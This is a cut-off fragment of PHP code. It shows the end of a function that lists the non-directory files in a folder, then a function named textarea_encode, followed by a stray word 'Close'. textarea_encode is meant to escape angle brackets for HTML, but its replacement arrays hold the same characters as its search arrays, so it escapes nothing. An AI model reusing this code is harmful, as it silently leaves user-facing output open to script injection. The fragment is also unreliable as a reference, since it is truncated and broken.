".." && !is_dir($file)) { if(!isset($files) || !$files) $files="$file"; else $files="$file\n$files"; } } closedir($handle); } $arr=explode("\n",$files); return $arr; } function textarea_encode($html_code) { $from = array('<', '>'); $to = array('<', '>'); $html_code = str_replace($from, $to, $html_code); return $html_code; } ?>
Close